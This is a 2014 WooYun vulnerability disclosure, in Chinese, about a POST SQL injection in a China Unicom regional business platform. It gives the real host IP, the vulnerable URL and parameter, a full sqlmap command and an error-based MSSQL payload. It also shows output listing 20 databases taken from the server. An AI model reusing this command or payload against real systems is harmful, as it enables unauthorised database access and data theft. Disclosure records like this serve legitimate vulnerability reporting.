当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076121

漏洞标题:中国联通旗下某系统SQL注入(涉及20个数据库)

相关厂商:中国联通

漏洞作者: 残废

提交时间:2014-09-15 15:04

修复时间:2014-10-30 15:06

公开时间:2014-10-30 15:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-15: 细节已通知厂商并且等待厂商处理中
2014-09-20: 厂商已经确认,细节仅向厂商公开
2014-09-30: 细节向核心白帽子及相关领域专家公开
2014-10-10: 细节向普通白帽子公开
2014-10-20: 细节向实习白帽子公开
2014-10-30: 细节向公众公开

简要描述:

莆田联通综合业务平台 http://58.22.154.146:1001/
注入一枚

详细说明:

类型:POST SQL注入

url:
http://58.22.154.146:1001/lookup/seldt.asp
post内容:
B1=%EF%BF%BD%E1%BD%BB&T1=88952634

漏洞证明:

[root@Hacker~]# Sqlmap -u "http://58.22.154.146:1001/lookup/seldt.asp" --data "B
1=%EF%BF%BD%E1%BD%BB&T1=88952634" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 11:25:24
[11:25:25] [INFO] resuming back-end DBMS 'microsoft sql server'
[11:25:25] [INFO] testing connection to the target url
[11:25:25] [INFO] heuristics detected web page charset 'GB2312'
[11:25:25] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: T1
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: B1=??&T1=aa' AND 6035=CONVERT(INT,(CHAR(58)+CHAR(105)+CHAR(113)+CHA
R(114)+CHAR(58)+(SELECT (CASE WHEN (6035=6035) THEN CHAR(49) ELSE CHAR(48) END))
+CHAR(58)+CHAR(111)+CHAR(98)+CHAR(119)+CHAR(58))) AND 'mjNT'='mjNT
---
[11:25:25] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[11:25:25] [INFO] fetching database names
[11:25:25] [INFO] the SQL query used returns 19 entries
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: None
[11:25:25] [INFO] resumed: GPRS
[11:25:25] [INFO] resumed: master
[11:25:25] [INFO] resumed: tempdb
[11:25:25] [INFO] resumed: model
[11:25:25] [INFO] resumed: msdb
[11:25:25] [INFO] resumed: pubs
[11:25:25] [INFO] resumed: Northwind
[11:25:25] [INFO] resumed: FinalIVR
[11:25:25] [INFO] resumed: lumigent
[11:25:25] [INFO] resumed: opration
[11:25:25] [INFO] resumed: MainUser
[11:25:25] [INFO] resumed: shemin
[11:25:25] [INFO] resumed: ZJMZQuery
[11:25:25] [INFO] resumed: SmsPlatForm
[11:25:25] [INFO] resumed: Manage
[11:25:25] [INFO] resumed: pt
[11:25:25] [INFO] resumed: SjzzIod
[11:25:25] [INFO] resumed: JFDATA
[11:25:25] [INFO] resumed: birthday
[11:25:25] [INFO] resumed: GPRS
[11:25:25] [INFO] resumed:
available databases [20]:
[*] birthday
[*] FinalIVR
[*] GPRS
[*] JFDATA
[*] lumigent
[*] MainUser
[*] Manage
[*] master
[*] model
[*] msdb
[*] Northwind
[*] opration
[*] pt
[*] pubs
[*] shemin
[*] SjzzIod
[*] SmsPlatForm
[*] tempdb
[*] ZJMZQuery

修复方案:

你懂的

版权声明:转载请注明来源 残废@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-20 08:57

厂商回复:

最新状态:

暂无